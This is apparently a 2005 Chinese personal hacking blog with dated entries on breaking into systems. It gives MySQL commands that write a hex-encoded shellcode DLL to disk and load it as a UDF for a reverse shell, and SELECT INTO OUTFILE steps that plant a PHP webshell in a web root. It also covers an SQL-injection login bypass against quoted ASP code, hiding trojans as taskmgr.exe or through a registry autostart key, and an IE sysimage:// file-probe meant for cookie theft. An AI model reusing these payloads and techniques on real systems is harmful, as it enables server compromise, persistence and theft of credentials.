2005年07月16日

破解所谓的"网页源代码加密"
在地址栏或按Ctrl+O,输入:

javascript:s=document.documentElement.outerHTML;document.write(‘<body></body>’);document.body.innerText=s;

源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。

2005年06月26日

先申明:这个是在网上翻到的,不是我发现的~

任务栏右健——任务管理器:系统先在c:\winnt (c:\windows)目录下查找taskmgr.exe,有的话,直接运行程序(默认没有)。没有的话,打开c:\winnt\system32\taskmgr.exe

ctrl+alt+del调出任务管理器:直接打开c:\winnt\system32\taskmgr.exe

原因估计:可能是搜索路径不一样吧~

利用:在c:\winnt下将木马改名为taskmgr.exe,当然之前最好利用木马文件中的一些多于空间,写上调用c:\winnt\system32\taskmgr.exe的东西!

评价:个人认为利用的价值不大,应该很少有人任务栏右健打开任务管理器吧?即使是这样打开的,任务管理器中也会有两个taskmgr.exe,太容易发现了(无进程的木马没有问题,但是这样的木马实在没有必要这样做吧?)!但是呢,在极少数情况下,它可以用来提权的~不过成功率,估计比那个添加系统账号的asp脚本好不了多少~

2005年05月24日

找到木马生成的文件,设置所有权限为拒绝
重启~~这样因为拒绝所以木马并不会启动,更别说什么注入进程什么的,然后删除注册表类的值就OK了~~
至于拒绝了的文件你可以把权限改回删除掉,也可以留着防止下次中同样的马?^_^~~下次中同样的马的时候,执行时马就会发现目标位置已经有一个同名文件,而且不让改写不让执行~~~只好灰溜溜的走~~

2005年05月22日

把下面得这段代码保存为 mix.dll.txt

use test;

set @a = concat(”,0×4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000);
set @a = concat(@a,0×353D40C7715C2E94715C2E94715C2E9499432494745C2E94715C2F947A5C2E9413433D94745C2E9499432594705C2E9499432A94725C2E9452696368715C2E94000000000000000000000000000000000000000000000000504500004C01040072CD4C420000000000000000E0000E210B010600001000000030000000000000);

………………………………………………

create table temp1(data LONGBLOB);
insert into temp1 values("");
update temp1 set data = @a;

select data from temp1 into DUMPFILE ‘C:\\Winnt\\Mix.dll’;

最后,在

mysql>\. c:\mix.dll.txt

即可!

  1. mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME ‘C:\\Winnt\\Mix.dll’;
    ERROR 1105: Unknown error——原因不明!
  2. mysql> select data from temp1 into DUMPFILE ‘C:\\Winnt\\Mix.dll’;
    ERROR 1045: Access denied for user:
    ‘@我的ip(Using password: NO)——账号权限访问拒绝,不可写?不清楚!

    (如:

    mysql> use mysql;
    ERROR 1044: Access denied for user:
    ‘@%’ to database ‘mysql’

  3. 只有退出反弹得shell后,才能删除function Mixconnect(好像那个临时表也是这样子得)!!!

  4. 第一次得到反弹shell后,不管是否退出第一次得shell,将无法得到第二次反弹得shell,除非重启mysql,同时如果第二次尝试反弹shell的话,对方得mysql会有爆错,并停止运行!——猜测是mix.dll得shellcode写得不好

  5. 当然,还是有一个优点,就是可以无限制得上传文件,当然只能是小文件,不然一个几百k甚至上m得文件,用这个上传,很郁闷得!

  6. 对于2000以外的系统,这个路径需要修改c:\\windows\\mix.dll,但是windows2003反弹shell无法得到!——猜测是mix.dll的兼容性太差,shellcode不起作用了~——猜测是mix.dll的兼容性太差,shellcode不起作用了~

    (一般情况:

    mysql> select data from temp1 into DUMPFILE ‘C:\\Winnt\\Mix.dll’;
    ERROR 1: Can’t create/write to file ‘C:\Winnt\Mix.dll’ (Errcode: 2)
    mysql> select data from temp1 into DUMPFILE ‘C:\\Windows\\Mix.dll’;

    这个时候,就可以成功了!尽管还是无法反弹shell!)

问题完美解决!得到Crackme兄弟的帮助,谢谢!

详见:http://blog.donews.com/dugu/archive/2005/07/19/472213.aspx

2005年05月21日

help    (\h)    Display this help.
?       (\?)    Synonym for `help’.
clear   (\c)    Clear command.
connect (\r)    Reconnect to the server. Optional arguments are db and host.
ego     (\G)    Send command to mysql server, display result vertically.
exit    (\q)    Exit mysql. Same as quit.
go      (\g)    Send command to mysql server.
notee   (\t)    Don’t write into outfile.
print   (\p)    Print current command.
prompt  (\R)    Change your mysql prompt.
quit    (\q)    Quit mysql.
rehash  (\#)    Rebuild completion hash.
source  (\.)    Execute a SQL script file. Takes a file name as an argument.
status  (\s)    Get status information from the server.
tee     (\T)    Set outfile [to_outfile]. Append everything into given outfile.
use     (\u)    Use another database. Takes database name as argument.

mysql -u username -h hostip -p 库名

每一个命令后,都要加上“;”

如:

mysql>show databases;

mysql>show tables;

mysql>use soft;

mysql>create table tmp(str TEXT)

mysql>insert into tmp values("一行一行的代码");

mysql>select * from cmd into outfile "d:\\www\\gb\\abou\\cmd.asp";

mysql>use test; drop table tmp;

一次完成得:

mysql> use test;
mysql> create table temp(cmd text);
mysql> load data local infile ’c:\\shell.txt’ into table temp;
mysql> select * from temp into outfile(‘d:\\www\\wwwroot\\phpspy.php’);
mysql> drop table temp;

注意:

load data local infile ’c:\\shell.txt’ into table temp;

这个是将本地(也就是客户端)的文件复制到远程主机的表里.这个c:\shell.txt是在你自己机器上的..

这个和

load data infile ’c:\\shell.txt’ into table temp;

不同.

爆表搞了半天,什么也没有得到,结果一哥们,直接用

‘or’='or’

就给进去了,但是我用1′and 1=1 –硬是没有进去!

晕哦!

不过事后还是查了一下代码:

登陆页面login.asp是这个:

<%
pwd = request.form("pwd")
name = request.form("name")
Set rs = Server.CreateObject("ADODB.Connection")
sql = "select * from Manage_User where UserName=’" & name & "’ And PassWord=’"&encrypt(pwd)&"’"
Set rs = conn.Execute(sql)

If Not rs.EOF = True Then
Session("Name") =  rs("UserName")
Session("pwd") =  rs("PassWord")
Response.Redirect("Manage.asp")
Else
Response.Redirect "Loginsb.asp?msg=您输入了错误的帐号或口令,请再次输入!"
End If
end if
%>

manage.asp里面有这个:

<!–#include file="Admin.asp"–>

admin.asp里面是这样子的:

<%
if session("name")="" then
Response.Redirect ("Login.asp")
end if
%>

显然了,用 ‘or 1 or’可以登陆,但是用 1′and 1=1 — 或者1′or 1=1 – 的时候呢,就成这样子啦,

select * from Manage_User where UserName=’1′ or 1=1 –为什么不成功?我也不知道

经过多次测试,’or true or’这种格式肯定成功,1′or’1′or’这个也可以,为什么其他得不行,我不明白,但是注意到一点,当我填1′or1=1–的时候,他没有执行

Else
Response.Redirect "Loginsb.asp?msg=您输入了错误的帐号或口令,请再次输入!"
End If

这段代码,估计是我确实进入页面了。但是却被redirect回来了,为什么回来了?不清楚啊!!条件明明成立啊!!

想不通了!

2005年05月20日


打开注册表如下的项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Utility Manager
找到Narrator项或者自己添加一个项
将Application path加上自己要启动的程序,比如木马文件
最后将项下的Start with Windows改为1就是自启动了.

但是也有缺陷…别人按Ctrl+U就能看到问题了…….不过一般人不会去动那个东西的

<img src="sysimage://C:\WINNT\Notepad.exe,777" 
onLoad="document.write(‘<b>Cannot Find File!</b>’);" 
onError="document.write(‘<b>File Exists!</b>’);"> 

刚开始很奇怪这个sysimage://是个什么协议,于是在IE中打入:
sysimage://C:\WINNT\Explorer.exe
结果返回是个Explorer的图标.而利用程序后面的777又表示了什么呢?
于是很习惯的又写上sysimage://C:\WINNT\Explorer.exe,777
IE返回该页无法显示
看来问题是出在这个777上了.既然是IE的本地文件存在性探测漏洞,那么就是说这个777是一个构造的东西,那么我把777改成了2.结果返回了另外一个图标.很显然….这个777类似的数字是调用文件内部图标号的东西,类似我们平时常见的desktop.ini中icon=somefile.exe,7这样的东西,那么这段代码就是说,如果一个文件中有定义了图标存在,而且这个文件是的确存在的,那么IE就返回这个文件的第N个图标(N是自己定义的,如果不定义,默认是第一个图标),如果文件不存在,那么系统将会返回一个文件夹的图标,所以这样IE就出现了问题.
首先.我们可以让IE返回一个图标,如果正确,那么将返回这个程序的第N个图标,如果不存在这个图标,那么IE会有个ERROR,那么用ONERROR就能给出一个答案,而如果文件不存在的话,IE会返回一个文件夹的图标,也就是说ONERROR不成立,那么就执行ONLOAD的事件.这样就清楚了.呵呵.
至于如何利用,个人感觉利用价值不大.也许有的时候我们可以利用他结合其他的一些漏洞有目的性的返回一些东西…
比如
sysimage://C:\Documents  and  Settings\Administrator\Cookies\administrator@icehack.com[1].txt
这样的,也许再加点什么可做到COOKIE的跨站点获取什么的.我也没有继续想下去了.

程序代码:

<img src="sysimage://sysimage://C:\Documents  and  Settings\Administrator\Cookies\administrator@icehack.com[1].txt,777" 
onLoad="document.write(‘<b>Cannot Find File!</b>’);" 
onError="document.write(‘<b>这里写上转向到XXX跨站COOKIE截取程序b>’);">